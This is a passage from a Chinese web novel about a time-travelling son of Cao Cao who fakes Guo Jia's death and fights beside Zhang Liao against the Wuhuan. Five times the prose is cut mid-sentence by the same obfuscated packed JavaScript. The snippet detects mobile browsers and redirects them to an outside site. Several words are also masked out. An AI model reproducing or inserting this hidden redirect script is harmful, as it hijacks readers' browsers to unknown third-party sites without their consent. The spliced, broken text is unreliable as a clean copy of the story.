【王五挠了挠头,咧嘴一笑:“不瞒公子,临出发前,我那婆娘怀上了。算算日子,最近就该生了,我放心不下他们娘俩。再说,明公在这儿扎营这么久,也不知道还打不**桓……”】 【曹风笑着摇头:“怕不只是这事儿吧?”】 【王五用仅剩的一只手抓了抓脑袋,有些不好意思:“还是公子厉害,我想啥都瞒不过您。”】 【曹风笑骂道:“别磨叽。有话直说,有屁就出去放!别熏到本公子!”】 【王五赔着笑脸道:“我一个大老粗,没啥学问,想请公子给我儿子起个名字。”】 【曹风略一沉吟,道:“就叫‘王乐’吧,希望他这辈子快快乐乐的。”】 【王五虽然不懂其中深意,但连忙点头:“王乐,好名字!公子果然有学问!”】 【曹风又笑道:“干脆我认他做干儿子!”】 【王五大喜过望,连忙扑通跪下就给曹风磕头:“多谢公子!”】 曹风不知道的是,他今日这个决定,日后竟为风雨飘摇中的曹家江山,再续上了数百年气运。 天幕再次快进…… 【曹操决意已定,力排众议,迅速集结精锐,准备踏上远征乌桓的艰险征途。】 【塞北。黄沙被狂风卷起,形成遮天蔽日的沙暴。一支军队艰难跋涉。】 【队伍中,一辆简陋的平板车格外引人注目。】 【车上躺着的,正是病势愈发沉重的郭嘉。他裹着厚厚的毡毯,仍止不住地瑟瑟发抖,面无人色,嘴唇干裂出血,每一次呼吸都伴随着沉重的气息。】 【然而,即便在如此境地,他那颗为曹操运筹帷幄的心,依然未曾停歇。他艰难地侧过头,望向策马行在车旁的曹操,声音嘶哑微弱。】 【“明公,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899505|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机稍纵即逝……”】 【“务必轻兵速进,放弃……”】 【郭嘉喘了喘,才继续道:“放弃一切非必要的辎重,全军轻装,兼程倍道……”】 【“直扑柳城……趁其尚未集结,一战可胜!”郭嘉又停下来剧烈地喘息,仿佛耗尽了全身的力气。他额头上渗出细密的冷汗,浸湿了鬓角。】 【曹操勒住马缰,下马俯身,紧紧握住郭嘉那冰冷的双手。】 【看着这位心腹谋士,憔悴得不成人形的面容,曹操心如刀绞,虎目之中竟隐隐泛起泪光。】 【曹操强压着悲痛,声音低沉却坚定:“奉孝……你的话,我都记在心里!都怨我,非要带你到这塞北来,害你染上重病。你一定要撑住!”】 【“待我扫平乌桓,凯旋而归,你我在邺城……邺城把酒庆功!等我!”】 【说罢,曹操狠下心来,猛地扭过头上马,不再去看郭嘉那令人心碎的模样。】 他怕自己多看一眼,就会动摇北征的决心,忍不住亲自护送郭嘉返回后方。 【“明公……明公留步!”郭嘉眼见曹操要离去,心中大急,挣扎着想要撑起身子,手臂徒劳地向前抓去。】 【这一动,本就虚弱的身体顿时失去了平衡。郭嘉“噗通”一声从平板车上跌落下来,重重摔在松软的沙地上。】 幸好是沙地,若是硬土或乱石,这一摔恐怕真要了他的性命。 【郭嘉伏在滚烫的沙砾上,呛咳不止,口中满是血腥味。】 【不远处,悄悄跟在队伍后面的曹风看到这一幕,心头猛地一紧。】 奉孝啊,奉孝,你可悠着点折腾吧!千万别这么早就领盒饭啊!我还等着看你跟诸葛亮过招呢! 从今以后,你就是我的人了,不再是曹操的了! 【郭嘉拼命抬起头,努力睁开被风沙迷住的双眼,透过漫天飞舞的黄沙,想要捕捉住曹操那即将模糊的背影。】 郭嘉心头突然一紧,没来由地生出个念头——这一别,怕就是永别了! 【他用尽肺腑中最后的气力,嘶声喊道:“明公!沙海……沙海迷途难辨!切记……切记寻一可靠向导引路!切莫……切莫迷途啊!”】 第196章 曹风无赖,曹操暴怒,郭嘉无奈 【听闻郭嘉最后的嘱托,曹操身形明显一滞。】 【曹操没有回头,只是肩膀微微耸动了一下,眼角终于控制不住地滑落一滴浊泪,迅速被风沙吹干。】 曹操不敢回头…… 不忍回头,更怕回头后便再也无法挪动脚步。 【曹操强压着翻涌的情绪,沉声对身旁的侍卫下令:“快!将郭祭酒小心扶上车,好生照料!即刻护送他返回邺城养病!若有闪失,提头来见!”】 【侍卫们慌忙上前,小心翼翼地将气息奄奄的郭嘉重新抬上平板车。】 【就在这弥漫着悲壮离别气氛的当口,一个极其不合时宜、带着明显夸张腔调的声音突兀地响起。】 【“哎呦喂!我的头……我的头好晕!天旋地转啊……”】 【不行了,不行了……我也病倒了!病得好重啊!”】 【只见曹操的三子曹风,一手夸张地捂着额头,一手捂着肚子,脸上堆砌着痛苦不堪的表情,脚步踉跄,摇摇晃晃地就朝着郭嘉所在的平板车扑了过来。】 【曹风毫不客气,甚至有些蛮横地挤上了本就不宽敞的平板车,身躯几乎占据了三分之二的空间。】 【曹风侧过身子,十分不要脸地对着蜷缩在角落的郭嘉指挥道。】 【“喂,奉孝先生,劳驾,往那边挪挪……太挤了,我这病体可经不起折腾啊!”】 曹风这泼皮无赖般的行径,瞬间点燃了曹操的怒火。 【“逆子!!!”】 【一声雷霆般的怒吼炸响!曹操须发皆张,目眦欲裂,猛地抽出腰间倚天长剑,寒光一闪,就要朝着曹风劈砍过去!】 暴怒之下,他只想狠狠教训这个在如此严肃悲情时刻还出来搅局添乱的混账东西! 【“明公息怒!”千钧一发之际,如同铁塔般护卫在侧的典韦反应神速,一个箭步上前,双臂如同铁箍般死死抱住了盛怒的曹操,“主公切莫冲动啊!”】 典韦的力气何其之大,饶是曹操盛怒,一时也难以挣脱。然而曹操又不忍心责备典韦。他只是好奇,平日里不愿意管闲事儿的典韦为何会突然袒护曹风。 【而平板车上的曹风,对身后曹操的暴怒和寒光闪闪的利剑恍若未闻。】 【他干脆利落地往车板上一躺,双眼一闭,直接“晕”了过去,一副“死猪不怕开水烫”的模样。】 仿佛在说:爱咋咋地,反正我“病”倒了! 【郭嘉躺在车板上,被曹风挤得几乎喘不过气,他看着眼前这荒诞的一幕,又气又无奈,本就虚弱的身体更是雪上加霜。】 【郭嘉强忍着不适,虚弱地对仍被典韦拦住的曹操劝道。】 【“明公……咳咳……”】 【“乌桓恃远无备,战机……战机稍纵即逝。”】 【切莫……切莫因小失大,耽搁了军机啊……”】 郭嘉知道曹操此去关系重大,实在不愿因曹风的胡闹,而延误战机。 【曹操胸膛剧烈起伏,看着“昏迷”的曹风,再看看虚弱劝谏的郭嘉,最终狠狠地将剑插回鞘中,指着曹风咬牙切齿地低吼道:“好!好你个逆子!你给老子等着!待我扫平乌桓归来,看我怎么扒了你的皮!”】 【狠话放完,他猛地一甩披风,带着满腔的怒火与无奈,在典韦等人的簇拥下,决绝地策马而去,身影很快消失在漫天的风沙之中。】 他必须抓紧每一刻时间。 【确认曹操的大军远去,沙尘渐渐平息,平板车上原本“昏迷”的曹风倏地睁开了眼睛,眼神清明锐利,哪有一丝病态?】 【他坐起身,嫌弃地用手在鼻子前扇了扇风,对着旁边依旧虚弱不堪的郭嘉道:“喂,奉孝,劳驾你把头扭过去,离我远点儿。你这病恹恹的样子,别再把这‘重病’传染给我了!”】 【郭嘉被气得一口气差点没上来,胸口剧烈起伏,手指颤抖地指着曹风,嘴唇哆嗦着却连骂人的力气都没有了。】 【他恨恨地瞪了曹风一眼,终究只能无奈地别过头去,闭上眼睛,眼不见心不烦,竭力平复着自己翻腾的气血。】 【护送队伍在风沙中继续缓慢地向南行进。】 【走了约莫小半个时辰,风势稍缓。】 【就在郭嘉昏昏沉沉、意识模糊之际,一个极其细微却又无比熟悉的声音清晰地钻入他的耳中——】 那是酒葫芦软木塞被拔开的轻微“啵”声! 紧接着,一股浓郁醇厚、勾魂夺魄的酒香,精准地钻入了郭嘉的鼻腔。 对于一个嗜酒如命、此刻又处于极度虚弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905852|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与苦闷中的郭嘉来说,这酒香无异于沙漠中的甘泉,黑暗中的明灯! 奇迹发生了! 【原本气若游丝、仿佛随时要油尽灯枯的郭嘉,身体猛地一颤,如同回光返照般,爆发出惊人的力量!】 【他霍然转过头,一双深陷的眼睛死死地、贪婪地盯住了曹风手中那个正散发出诱人光泽的酒葫芦。】 那眼神,充满了极度的渴望,如同饿狼看见了鲜肉! 【“三……三公子……”郭嘉的声音因为极度的渴望而颤抖着,带着一丝哀求,“赏……赏一口,就一口……可好?”】 【郭嘉舔了舔干裂的嘴唇。】 【曹风晃了晃酒葫芦,看着郭嘉那副模样,眉头微道:“奉孝先生,你都快病**,还想着喝酒?不要命了?”】 【郭嘉苍白的脸上挤出一个极其勉强的、比哭还难看的笑容,喘息着道:“三公子……咳、咳……”】 【“人之将死,能痛饮一口美酒,总比做个馋死鬼强上百倍!”】 【“求……求公子成全……”郭嘉话语中充满了悲凉与对美酒最后的执念。】 【曹风盯着郭嘉看了片刻,眼中闪过一丝难以察觉的复杂神色,最终仿佛无奈地叹了口气:“罢了罢了,看你这可怜样儿。喏,拿去!说好了,就几口啊!”】 【说着,将酒葫芦递了过去。】 【郭嘉如获至宝,用尽全身力**过酒葫芦,迫不及待地仰头便灌!】 【“咕咚……咕咚……”喉结剧烈地滚动,醇香的酒液如同烈火般滚入他干涸的喉咙和空虚的肠胃。】 【郭嘉贪婪地吞咽着,仿佛这不是酒,而是续命的仙露。】 【很快,葫芦便已见底。】 【郭嘉意犹未尽地晃了晃空葫芦,苍白的脸上竟奇迹般地浮现出一抹满足的红晕,他看向曹风,由衷地赞叹道:“好酒……三公子的酒……果然……不同凡响……”】 【话音未落,他的表情瞬间凝固,化作了极度的错愕。】 【因为他清楚地看到……】 【曹风竟然“噗”的一声,将含在口中的酒液全数吐在了沙地上!】 先前那酒,曹风根本一滴未咽! 郭嘉:??? 郭嘉:!!! 第197章 张辽冲阵 【“三公子,你这是为何……!”郭嘉刚想询问曹风要做什么,一股强烈的眩晕感猛地袭来!】 【眼前曹风的身影瞬间模糊、旋转,天旋地转!】 【郭嘉只觉浑身力气被一瞬间被抽空,意识如同断了线的风筝,眼皮也越来越沉。不过,之前胸口疼痛却减轻了许多。】 【“你……你竟然下药……”郭嘉脑袋一歪,彻底昏死过去,人事不省。】 【曹风见郭嘉瞬间失去意识后,才动作麻利地翻身,跳下平板车。】 身手矫健,哪还有半分病态?! 【曹风走到队伍中一个看似普通士兵头目模样的人身边,此人虽穿着曹军号衣,脸上却做了些不易察觉的伪装。】 【曹风压低声音:“公明,人交给你了。按原定路线,以最快速度护送郭奉孝前往易县。”】 【“华佗先生和李儒先生都在易县。沿途务必小心!”】 【“末将领命!”那“士兵头目”——正是乔装改扮的徐晃,抱拳沉声应道。】 在众多将领中,曹风最信任的是被称为“周亚夫”的徐晃。徐荣这人嘴太碎,许褚和王双纯粹是“莽夫”,剩下那几个,智谋和处事能力也不足以胜任这个任务。 曹风这才意识到,自己还是缺人。 尤其缺像徐晃这样的将领。其实赵云就很合适,可惜眼下没机会招揽他,只能等到长坂坡再说了! 【交代完毕,曹风不再停留。】 【他仰头,将两根手指放入口中,吹出一声嘹亮而奇特的长哨。哨音穿透风沙,传出老远。】 【哨声刚落没多久,一道雪白的闪电便从侧翼的沙丘后疾驰而出!】 【正是那匹神骏非凡、通体雪白,无一丝杂**的骏马“黑子”!】 【它四蹄翻飞,踏沙如若无痕,眨眼间便奔至曹风身前,亲昵地用头蹭了蹭曹风的肩膀。】 【曹风宠溺地拍了拍‘黑子’修长的脖颈,迅速从行囊中取出那副狰狞的鬼王面具戴在脸上。一双深邃锐利的眼睛,看向远方漫天的黄沙。】 【曹风翻身上马,动作干净利落。随后,他俯身在黑子耳边低语道:“老伙计,全看你的脚力和方向感了!追上他们,我们还有大事要做!”】 【黑子听懂了主人的话语,骄傲地昂首嘶鸣一声,打了个响亮的响鼻。】 仿佛在说:包在我身上! 【下一刻,它四蹄发力,如同离弦之箭般射了出去!】 【一人一马,化作一道模糊的白影,迎着漫天的风沙,向着曹操大军北去的方向,绝尘而去,很快便消失在黄沙弥漫的地平线上。】 【曹军主力在曹操的严令下,轻装疾行,又有田畴引路,避免了郭嘉所担忧的迷途之险。悄然穿越了乌桓人认为不可能逾越的险地。】 【当曹军先锋铁骑如同神兵天降,出现在距离乌桓老巢柳城不足二百里的地方时,乌桓单于蹋顿才如梦初醒!】 震惊与恐慌瞬间席卷了整个乌桓部落。 【蹋顿仓促间与袁尚、袁熙等人,集结起数万剽悍的乌桓骑兵,迎头撞向这支胆敢深入他们腹地的汉军。】 【白狼山下,两军轰然对撞!】 【战场瞬间化为血腥的绞肉机。】 【乌桓骑兵人数众多,且以逸待劳,刚一接战便爆发出超强的战斗力,攻势如潮。】 【反观曹军,长途奔袭,人困马乏,此刻能投入战斗的多是轻甲甚至无甲的轻骑与步卒。面对乌桓人排山倒海般的冲锋和漫天飞射的箭雨,曹军阵脚动摇,左右将领皆面露惧色。】 军心浮动,形势岌岌可危! 【已经有人建议曹操:“敌军势大,车重在后,被甲者稀,恐难久持,不如暂退,以待后援!”】 【就在这千钧一发之际,一声怒吼响彻战场:“敌军虽众,阵型未稳,此乃天赐良机!岂能后退?”】 【狭路相逢勇者胜!随我迎战!”只见大将张辽,手持大戟,力排众议,力主迎战!】 他深知,此刻若退,军心必溃,全军覆没只在顷刻之间! 唯有死战,方有一线生机! 【曹操此时已登临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915959|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白狼山顶,俯瞰整个战场。】 曹操捕捉到了战机。 【乌桓军虽然人数占优,但仓促应战,阵型散乱,各部之间尚未形成有效的协同,指挥混乱!】 这正是破敌的最佳时机! 【曹操当机立断:“文远!持我麾旗!全军听你号令!给我破敌!”】 【张辽厉声咆哮:“众将士听令!随我——杀!”】 吼声如雷,瞬间点燃了曹军将士的血性! 【张辽身先士卒,如同一柄锋利的尖刀,率领着身边最为精锐的先锋亲卫,朝着乌桓军阵型最为混乱、结合部最为薄弱的环节,发动了决死的反冲锋!】 【张辽勇猛无匹,刀光所向,血肉横飞,硬生生在乌桓密集的军阵中撕开了一道血口!】 【然而,乌桓人毕竟人数众多,且凶悍异常,他们迅速反应过来,如同潮水般从四面八方涌来,试图将张辽这支孤军彻底淹没。】 【张辽身边的亲兵不断倒下,压力陡增。】 【他环顾四周,只见乌桓单于蹋顿的帅旗就在前方不远处,被层层叠叠的精锐骑兵拱卫着。】 【蹋顿本人正挥舞着弯刀,声嘶力竭地指挥着军队。】 射人先射马,擒贼先擒王! 【张辽用戟尖遥指蹋顿所在的地方,“贼酋蹋顿就在眼前!大好男儿,建功立业,正在此时!”】 【“何人敢随我张文远,直取贼酋首级?!”】 【然而,张辽身边的将士们顺着戟尖望去,映入眼帘的是密密麻麻、如同铁桶般护卫着蹋顿的乌桓最精锐的王庭亲卫!】 【那些剽悍的骑士,人人披甲,眼神凶狠,如同嗜血的狼。再看看己方,人数劣势明显,且已陷入重围。】 冲过去无异于**! 【一时间,竟无人应声,只有战马的嘶鸣和兵刃的撞击声在回应着张辽的怒吼。】 【一股悲凉涌上张辽心头,他仰天一声长叹:“罢了!某家独自取之!”】 【说罢,便要催动战马,孤身冲向那必死的核心。】 第198章 曹风:文远,我来助你!曹操:那是谁的部将?! 就在此时…… 【战场东北角处,乌桓严密的包围圈突然人仰马翻,惨叫连连!】 【一员上将硬生生撕开了一个缺口,突入!】 【所过之处,无人可挡!】 【来将头戴狰狞鬼王面具,身披闪耀的黄金锁子甲,坐下通体雪白的神驹,手中一杆丈二亮银枪!】 【**舞动间寒星点点,枪花朵朵!】 【每一次刺击,都精准地洞穿敌人的咽喉或心窝!】 【每一次横扫,都带起一片血雨腥风!】 【乌桓骑士在他面前,如同麦秆般纷纷倒下,竟无一人能挡住他一个照面!】 【更令人胆寒的是,他左手还握着一柄寒光闪闪的**,在与敌人错马而过的瞬间,那**如同毒蛇的信子,总能以诡异的角度抹过对手的脖颈!】 其勇猛彪悍,简直非人哉!有当年吕奉先的风采! 【这金甲鬼面将一路血雨腥风,竟径直杀到了张辽身边!】 【银枪一抖,挑飞两名**张辽的乌桓骑兵,面具下传来一阵清朗豪迈的大笑。】 【“文远将军!好胆色!孤身闯阵,算我一个!比比看,今日谁杀的胡虏多?!”】 正是及时赶到的曹风! 【张辽先是一愣,随即被这突然赶到的神勇援军和豪迈话语激得热血沸腾,胸中豪气陡生,亦放声大笑。】 【“哈哈哈!好!好汉子!痛快!”】 【“今日就与你并肩,杀他个天翻地覆!张文远来也!”】 张辽也不去想这人是谁,来自何方。 此刻,他们是并肩作战的袍泽! 【曹风更不答话,长笑一声,银枪一摆,竟再次率先冲出,目标直指蹋顿帅旗方向,口中还兀自高喊着。】 【“文远将军,随我冲!”】 【张辽紧随其后,两人一前一后,如同两柄绝世利刃,在乌桓大军中犁开两条触目惊心的血路!】 【身后的一众骑兵,见曹风和张辽两员猛将,如入无人之境,也被深深的感染。】 【“妈的!和乌桓拼了!张将军,我也来了!”】 【“富贵险中求!兄弟们,随张将军杀过去!”】 【“是啊!留在此地,也会被围剿,不如杀个痛快!”】 ……… 【越接近蹋顿的核心卫队,遭遇的抵抗就越发疯狂和激烈。】 【乌桓最精锐的王庭亲卫,悍不畏死地层层涌上,试图阻挡曹风和张辽这两支锋锐的箭头。】 张辽越战越是心惊! 他自诩勇冠三军,但此刻看着冲杀在自己前方数步之遥的那道金甲身影,心中掀起了滔天巨浪! 此人的武艺之高、冲阵之勇、杀戮之效,简直骇人听闻! 每一**出都妙到毫巅,力量、速度、时机的把握都臻于化境! 那份在万军丛中取上将首级如探囊取物般的从容与霸气,张辽自认有所不及! 他心中狂呼:“曹营之中,何时竟隐藏着如此绝世猛将?!这戴面具的,究竟是何方神圣?!” 更让他不解的是,这员猛将口中还不时喊着一些令人费解的话语: “大哥!随小弟杀个痛快!” “大哥!今日之后,北疆大地必将传颂你我的威名!” …… 【就在这惨烈的冲杀达到白热化之际,战场上空原本密布的、正下着瓢泼大雨的厚重乌云……】 【竟诡异地、毫无征兆地迅速散去!】 【仿佛有一只无形的大手拨开了阴霾。】 【雨停了,阳光刺破云层,重新洒满大地。】 【若是有心人抬头望去,会发现唯有一朵形状奇特的、洁白无瑕的云朵,在清风的吹拂下,竟不偏不倚地,紧紧跟随着那金甲鬼面将军冲锋的身影,缓缓飘移。】 他真的来了! 来随他的弟弟冲锋陷阵! 【山顶之上,一直密切关注战局的曹操,也早已被那道在敌阵中左冲右突、所向无敌的金色身影牢牢吸引。】 【他指着山下曹风那模糊却异常耀眼的身影,声音中充满了难以抑制的震惊与狂喜。】 【“那是谁的部将?!竟如此勇猛绝伦?!吾观其骁勇,犹在文远之上!我麾下竟有如此虎贲?!”】 【就在曹操惊叹不已之时,曹风与张辽两柄尖刀,已经浴血杀透重重阻隔,逼近到了距离蹋顿帅旗不足百步的距离!】 【那面象征着乌桓王权的狼头大旗,已清晰可见!】 【骑在骏马上、身披华丽皮裘的蹋顿,脸上那惊骇欲绝的表情也映入眼帘!】 【蹋顿万万没想到,汉军之中竟有如此神魔般的人物!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922067|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【看着那金甲鬼面将如同杀神般不断逼近,所过之处手下最精锐的亲卫如同草芥般倒下,他终于感到了深入骨髓的恐惧!】 什么单于的尊严,什么复仇的雄心,瞬间被求生的本能取代。 【“拦住他!快拦住他!”蹋顿声嘶力竭地尖叫着,同时猛地一勒缰绳,调转马头,在数十名最心腹护卫的死命簇拥下,仓皇地向战场后方、山林茂密的方向逃窜!】 【“贼酋休走!”曹风捕捉到了蹋顿的动向。他当机立断,对着紧随其后的张辽大吼道。】 【“文远将军!贼酋蹋顿交给你了!速去取其首级!我来为你断后,挡住追兵!”】 【话音未落,他猛地一拨马头,手中银枪化作一片死亡的光幕,悍然迎向那些反应过来、试图追击张辽或拦截他的乌桓骑兵!】 他选择将斩杀敌酋、获取不世之功的机会,毫不犹豫地让给了张辽! 而他,则主动承担起最危险、最吃力的断后阻敌任务! 张辽闻言,心头剧震! 【他清楚地看到,曹风所处的位置和角度,比他更利于追击蹋顿!】 但曹风却将这个机会让给了他! 这份气魄,让张辽这个铁血汉子也不禁动容! 此刻绝非推辞谦让之时,战机稍纵即逝! 【张辽毫不迟疑,虎目含威,对着曹风的背影重重一抱拳,声震四野:“大恩不言谢!张辽去也!”】 【说罢,猛夹马腹,座下战马长嘶一声,如同离弦之箭,紧盯着蹋顿逃窜的方向,奋力追去!】 【很快,他的身影便消失在混乱的战场边缘和起伏的山峦之后。】 【曹风一人一骑,如同磐石般矗立在涌来的乌桓追兵之前。】 银枪舞动如龙,**寒光闪烁,硬生生将数十倍于己的追兵死死钉在原地,寸步难进!】 【在他周围,乌桓骑兵的尸体遍地都是!】 【直到确认张辽已脱离追兵视线,曹风才猛地一勒缰绳,对着身后仅存的几名浴血跟随的骑兵吼道:“你们速去汇合大队!”】 【随即,他猛地一夹马腹,白马“黑子”心领神会,长嘶一声,四蹄腾空,如同一道白色闪电,朝着张辽消失的方向疾驰而去。】 【其速度之快,远超寻常战马,转眼间也消失在众人的视野之中。】 第199章 当年的白狼山折箭为誓 【距离原本战场很远处,一片相对僻静的山坳中。】 【张辽驻马而立,手中提着一颗血淋淋、双目圆睁、犹带着惊恐之色的头颅——正是乌桓单于蹋顿的首级!】 【蹋顿的马跑得很快,已经冲出很远,但最终还是被张辽一箭射中后心。张辽追上前去,挥刀斩下了他的首级。】 【张辽喘着粗气,还没缓过劲来,就听见不远处传来一阵马蹄声。他仔细一听,发现来的只有一匹马。】 【马蹄声越来越近,那道熟悉的金色身影骑着白马,如一阵风般疾驰而来。】 【张辽望着勒马停在面前的曹风,眼中满是敬佩与感激。他大笑着举起蹋顿的首级,高声道:“痛快!”】 【“兄弟!好身手!好胆识!”】 【“今天要不是有你,绝不可能斩下这贼子的首级!我张辽欠你一个天大的人情!”】 【“敢问兄弟尊姓大名?等回营之后,我一定向主公举荐,保你封侯拜将!”】 【曹风盯着那颗血淋淋的首级,再抬头看向豪迈的张辽,面具后传出一阵爽朗笑声。他抱拳回礼道:“文远将军过誉了!在下曹脩!”】 【“曹脩?!”张辽先是一愣。】 【随即,他猛地反应过来,眼睛一亮:“原来是你!关将军之前向明公极力推荐过一位少年英雄,说要让他去斩袁绍的大将颜良,没想到就是兄弟你啊!”】 【“怪不得!怪不得有如此神勇!如此看来,云长兄果然慧眼识珠!”】 张辽这下全明白了。 眼前这位,就是关羽举荐的那位年轻猛将。虽然曹营高层都听过他的名声,但一直没人见过他的真面目。 【张辽脸上的喜色更浓,语气诚恳地说:“曹脩兄弟!这次你可立了大功!杀了敌军首领,扭转了整个战局!跟我回去见明公吧,封赏肯定少不了!以你的本事,将来一定能当上大将军,名扬天下!”】 张辽并不知道,之前站在山头上观战的曹操,目光早已牢牢锁定了曹风。从战斗一开始,这位将领的英姿便深深吸引了曹操——勇猛果敢、锐不可当,正是他做梦都想招揽的将才。 即便战局已定,曹风的身影渐渐远去,曹操仍久久凝视,迟迟不愿收回视线。 曹操没想到,自己想要招揽的将才竟然真的出现了,而且还是自己军中的将领。 曹操心中一阵兴奋,立刻向左右询问曹风的来历。可奇怪的是,周围竟无一人知道他的身份。这反而让曹操对曹风更加感兴趣了。 同时,曹操心中暗下决心,一定要将这员不知姓名的金甲银枪将领找出来,并加以重用。他暗自心道:“若得此人相助,天下何愁不得?如此一来,日后遇上关羽、张飞这样的猛将,便再也不用头疼了。” 与此同时,曹风并不在意被曹操注意到,也不担心身份暴露——他早已做好万全准备,确保自己的秘密不会泄露。 【面对张辽的邀请,曹风却微笑着摇了摇头。他的笑容里带着几分坚决。】 【“文远将军,你的好意我心领了。但我还有自己的使命和抱负。”】 【“北疆至今还没有平定,胡人仍在侵扰边疆的百姓。我的战场在更远的边塞,在长城之外!”】 【“这次前来助战,只是为了同袍情谊,共同对抗外族。并不是为了得到曹孟德赏赐的功名利禄。我们就此别过吧,将军多保重!”】 【“山水有相逢!再见之时,希望还是同袍。”】 【说完,曹脩就要调转马头离开。】 【张辽一听这话,顿时急了。他连忙策马上前拦住曹风,脸上满是惋惜。】 【“曹脩兄弟,留步!你这又是何苦呢?!你有这般绝世武艺,正该为大汉效力,平定乱世,建功立业!明公求贤若渴,定能让你大展拳脚!”】 【“若就此埋没在塞外的风沙里,岂不是白白浪费了你这身本事?岂不是辜负了你这一腔热血?!”】 【“哈哈哈!”曹风仰天大笑,笑声豪迈、不羁。】 【曹风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928142|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光灼灼,望向北方辽阔的天空,朗声道:“文远将军!功名于我如浮云!我想要的,是效仿那驱逐胡虏、封狼居胥的冠军侯霍去病!”】 【“我的志向,便是像他一样,驰骋瀚海,扬威绝域,在这北疆大漠之上,勒石记功,封禅狼居胥山!”】 【“让胡人听到我汉家儿郎的威名,便胆战心惊,再不敢南下牧马!”】 【“这才是我曹脩此生所求!”】 【“封,狼居胥?!”这四个字如惊雷般在张辽耳边炸响,瞬间点燃了他胸中沉寂已久的豪情。】 那是汉家武将最崇高的梦想! 他仿佛看到霍去病当年横绝大漠的英姿。 【张辽眼中迸发出前所未有的光芒:“好!好一个封狼居胥!这才是我辈武人毕生之志!”】 【“曹脩兄弟!我张文远今日对天立誓,待我辅佐明公平定中原,定当北上,与你并肩而战!”】 【“你我兄弟二人,并肩作战,横扫漠北,共赴狼居胥山,效仿先贤,祭天封禅!你可愿与我立此约定?!”】 曹风看着激动不已、神情真挚的张辽,眼中也是闪过激赏之色。 【曹风重重点头,随后从箭筒里抽出一支雕翎箭,提高声音道。】 【“文远将军果然爽快!正合我意!”】 【“今日就在这白狼山,咱们折箭立誓!”】 【“日后不管发生什么,只要将军带兵北上,我曹脩一定带着弟兄们赶来会合。咱们一起杀到漠北,兑现封狼居胥的约定!将军觉得怎样?”】 【“好!大丈夫说话算话!折箭为誓,天地作证!”张辽毫不犹豫伸出大手,和曹风一起握住了那支箭。】 【两人手上同时发力!】 “咔!” 箭杆应声而断! 【两人手中各拿半截断箭,对视片刻,突然放声大笑。】 【爽朗的笑声在山谷里回荡,充满了对未来的期待。】 【“封,狼居胥!”】 第200章 曹风:哪怕奉孝醒来只会流口水也要救 天幕光影流转…… 画面飞速推进,最终定格于易县。 【又一场精心策划的“调包计划”已经落幕。】 【曹操派来的医官对郭嘉的替身经过多次诊断后,最终确认其已气绝身亡。随后,这具替身的尸身被郑重下葬。所有人都以为这位才华横溢的谋士就此陨落,他的传奇人生也随之画上了句点。】 【而真正的郭嘉,正躺在魍组织一处隐秘的据点之中,双目紧闭,气息微弱,已然昏迷了数日之久。】 【当曹风风尘仆仆地赶回据点,听到郭嘉依旧昏迷不醒的消息时,眉头瞬间紧锁。】 要是郭嘉一直醒不过来,那他不是白折腾了? 【为了吊住郭嘉这一线生机,华佗与李儒已联手施救了多日。总算勉强保住了郭嘉的性命,使其气息虽弱却未曾断绝。】 【然而,也仅止于此。郭嘉丝毫没有苏醒的迹象。】 【华佗面色凝重地告知曹风,眼下唯有一种极为凶险的法子,或许为郭嘉搏得一丝醒来的渺茫希望。】 